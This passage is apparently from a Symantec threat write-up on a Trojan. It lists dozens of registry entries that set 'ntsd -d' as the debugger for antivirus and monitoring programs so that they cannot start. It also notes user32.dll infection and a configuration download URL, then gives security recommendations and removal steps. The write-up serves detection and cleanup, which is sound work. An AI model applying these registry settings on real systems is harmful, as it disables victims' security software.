HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\RavMonD.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\mmsk.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\WoptiClean.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\QQKav.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\QQDoctor.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\EGHOST.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\360Safe.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\iparmo.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\adam.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\360rpt.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\360tray.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\AgentSvr.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\AppSvc32.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\autoruns.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\avgrssvc.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\AvMonitor.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\CCenter.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\ccSvcHst.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\FileDsty.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\FTCleanerShell.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\HijackThis.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\Iparmor.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\isPwdSvc.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\kabaload.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\KaScrScn.SCR\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\KASMain.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\KASTask.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\KAVDX.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\KAVPFW.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\KAVSetup.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\KAVStart.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\KISLnchr.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\KMailMon.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\KMFilter.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\KPFW32.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\KPFW32X.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\KPFWSvc.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\KRegEx.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\KRepair.com\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\KsLoader.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\KVCenter.kxp\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\KvDetect.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\KvfwMcl.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\KVMonXP.kxp\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\KVMonXP_1.kxp\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\kvol.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\kvolself.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\KvReport.kxp\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\KVScan.kxp\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\KVSrvXP.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\KVStub.kxp\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\kvupload.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\kvwsc.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\KvXP.kxp\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\KvXP_1.kxp\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\KWatch.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\KWatch9x.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\KWatchX.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\MagicSet.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\mcconsol.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\mmqczj.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\KAV32.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\nod32krn.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\PFWLiveUpdate.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\QHSET.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\RavMonD.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\RavStub.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\RegClean.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\rfwcfg.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\RfwMain.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\rfwsrv.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\RsAgent.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\Rsaupd.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\safelive.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\scan32.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\shcfg32.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\SmartUp.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\SREng.EXE\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\symlcsvc.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\SysSafe.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\TrojanDetector.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\Trojanwall.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\TrojDie.kxp\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\UIHost.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\UmxAgent.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\UmxAttachment.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\UmxCfg.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\UmxFwHlp.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\UmxPol.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\UpLive.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\procexp.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\rfwstub.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\RegTool.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\rfwProxy.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\RawCopy.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\CCenter.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\filemon.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\regmon.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\AntiArp.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\GFUpd.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\GFRing3.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\taskmgr.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\QQDoctorMain.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\SelfUpdate.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\Your Image File Name Here without a path\\""Debugger"" = ""ntsd -d"" It then infects the file ser32.dll so that the Trojan is executed every time the file user32.dll is loaded. Note: The infected user32.dll is detected as Trojan.Ushedix!inf . The Trojan downloads a configuration file from the following location: [http://]www.infomt.net/dk.[REMOVED] It then downloads potentially malicious files on to the compromised computer. The Trojan copies the file %System%\\dxdiag.exe to %System%\\NBA.exe and then deletes itself. Recommendations Symantec Security Response encourages all users and administrators to adhere to the following basic security ""best practices"": Use a firewall to block all incoming connections from the Internet to services that should not be publicly available. By default, you should deny all incoming connections and only allow services you explicitly want to offer to the outside world. Enforce a password policy. Complex passwords make it difficult to crack password files on compromised computers. This helps to prevent or limit damage when a computer is compromised. Ensure that programs and users of the computer use the lowest level of privileges necessary to complete a task. When prompted for a root or UAC password, ensure that the program asking for administration-level access is a legitimate application. Disable AutoPlay to prevent the automatic launching of executable files on network and removable drives, and disconnect the drives when not required. If write access is not required, enable read-only mode if the option is available. Turn off file sharing if not needed. If file sharing is required, use ACLs and password protection to limit access. Disable anonymous access to shared folders. Grant access only to user accounts with strong passwords to folders that must be shared. Turn off and remove unnecessary services. By default, many operating systems install auxiliary services that are not critical. These services are avenues of attack. If they are removed, threats have less avenues of attack. If a threat exploits one or more network services, disable, or block access to, those services until a patch is applied. Always keep your patch levels up-to-date, especially on computers that host public services and are accessible through the firewall, such as HTTP, FTP, mail, and DNS services. Configure your email server to block or remove email that contains file attachments that are commonly used to spread threats, such as .vbs, .bat, .exe, .pif and .scr files. Isolate compromised computers quickly to prevent threats from spreading further. Perform a forensic analysis and restore the computers using trusted media. Train employees not to open attachments unless they are expecting them. Also, do not execute software that is downloaded from the Internet unless it has been scanned for viruses. Simply visiting a compromised Web site can cause infection if certain browser vulnerabilities are not patched. If Bluetooth is not required for mobile devices, it should be turned off. If you require its use, ensure that the device's visibility is set to ""Hidden"" so that it cannot be scanned by other Bluetooth devices. If device pairing must be used, ensure that all devices are set to ""Unauthorized"", requiring authorization for each connection request. Do not accept applications that are unsigned or sent from unknown sources. For further information on the terms used in this document, please refer to the Security Response glossary. Removal The following instructions pertain to all current and recent Symantec antivirus products, including the Symantec AntiVirus and Norton AntiVirus product lines. Disable System Restore (Windows Me/XP). Update the virus definitions. Run a full system scan. Delete any values added to the registry. Extract and restore Windows files. For specific details on each of these steps, read the following instructions. 1. To disable System Restore (Windows Me/XP) If you are running Windows Me or Windows XP, we recommend that you temporarily turn off System Restore. Windows Me/XP uses this feature, which is enabled by default, to restore the files on your computer in case they become damaged. If a virus, worm, or Trojan infects a computer, System Restore may back up the virus, worm, or Trojan on the computer. Windows prevents outside programs, including antivirus programs, from modifying System Restore. Therefore, antivirus programs or tools cannot remove threats in the System Restore folder. As a result, System Restore has the potential of restoring an infected file on your computer, even after you have cleaned the infected files from all the other locations. Also, a virus scan may detect a threat in the System Restore folder even though you have removed the threat. For instructions on how to turn off System Restore, read your Windows documentation, or one of the following articles: How to disable or enable Windows Me System Restore How to turn off or turn on Windows XP System Restore Note: When you are completely finished with the removal procedure and are satisfied that the threat has been removed, reenable System Restore by following the instructions in the aforementioned documents. For additional information, and an alternative to disabling Windows Me System Restore, see the Microsoft Knowledge Base article: Antivirus Tools Cannot Clean Infected Files in the _Restore Folder (Article ID: Q263455). 2. To update the virus definitions Symantec Security Response fully tests all the virus definitions for quality assurance before they are posted to our servers. There are two ways to obtain the most recent virus definitions: Running LiveUpdate, which is the easiest way to obtain virus definitions. If you use Norton AntiVirus 2006, Symantec AntiVirus Corporate Edition 10.0, or newer products, LiveUpdate definitions are updated daily. These products include newer technology. If you use Norton AntiVirus 2005, Symantec AntiVirus Corporate Edition 9.0, or earlier products, LiveUpdate definitions are updated weekly. The exception is major outbreaks, when definitions are updated more often. Downloading the definitions using the Intelligent Updater: The Intelligent Updater virus definitions are posted daily. You should download the definitions from the Symantec Security Response Web site and manually install them. The latest Intelligent Updater virus definitions can be obtained here: Intelligent Updater virus definitions . For detailed instructions read the document: How to update virus definition files using the Intelligent Updater . 3. To run a full system scan Start your Symantec antivirus program and make sure that it is configured to scan all the files. For Norton AntiVirus consumer products: Read the document: How to configure Norton AntiVirus to scan all files. For Symantec AntiVirus Enterprise products: Read the document: How to verify that a Symantec Corporate antivirus product is set to scan all files. Run a full system scan. If any files are detected, follow the instructions displayed by your antivirus program. Important: If you are unable to start your Symantec antivirus product or the product reports that it cannot delete a detected file, you may need to stop the risk from running in order to remove it. To do this, run the scan in Safe mode. For instructions, read the document, How to start the computer in Safe Mode . Once you have restarted in Safe mode, run the scan again. After the files are deleted, restart the computer in Normal mode and proceed with the next section. Warning messages may be displayed when the computer is restarted, since the threat may not be fully removed at this point. You can ignore these messages and click OK. These messages will not appear when the computer is restarted after the removal instructions have been fully completed. The messages displayed may be similar to the following: Title: [FILE PATH] Message body: Windows cannot find [FILE NAME]. Make sure you typed the name correctly, and then try again. To search for a file, click the Start button, and then click Search. 4. To delete the value from the registry Important: Symantec strongly recommends that you back up the registry before making any changes to it. Incorrect changes to the registry can result in permanent data loss or corrupted files. Modify the specified subkeys only. For instructions refer to the document: How to make a backup of the Windows registry . Click Start > Run. Type regedit Click OK. Note: If the registry editor fails to open the threat may have modified the registry to prevent access to the registry editor. Security Response has developed a tool to resolve this problem. Download and run this tool, and then continue with the removal. Navigate to and delete the following registry entries: HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\avp.com\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\avp.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\runiep.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\PFW.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\FYFireWall.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\rfwmain.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\rfwsrv.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\KAVPF.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\KPFW32.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\nod32kui.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\nod32.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\Navapsvc.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\Navapw32.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\avconsol.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\webscanx.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\NPFMntor.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\vsstat.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\KPfwSvc.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\Ras.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\RavMonD.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\mmsk.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\WoptiClean.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\QQKav.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\QQDoctor.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\EGHOST.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\360Safe.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\iparmo.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\adam.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\360rpt.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\360tray.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\AgentSvr.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\AppSvc32.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\autoruns.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\avgrssvc.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\AvMonitor.exe\\""Debugger"" = ""ntsd -d"" 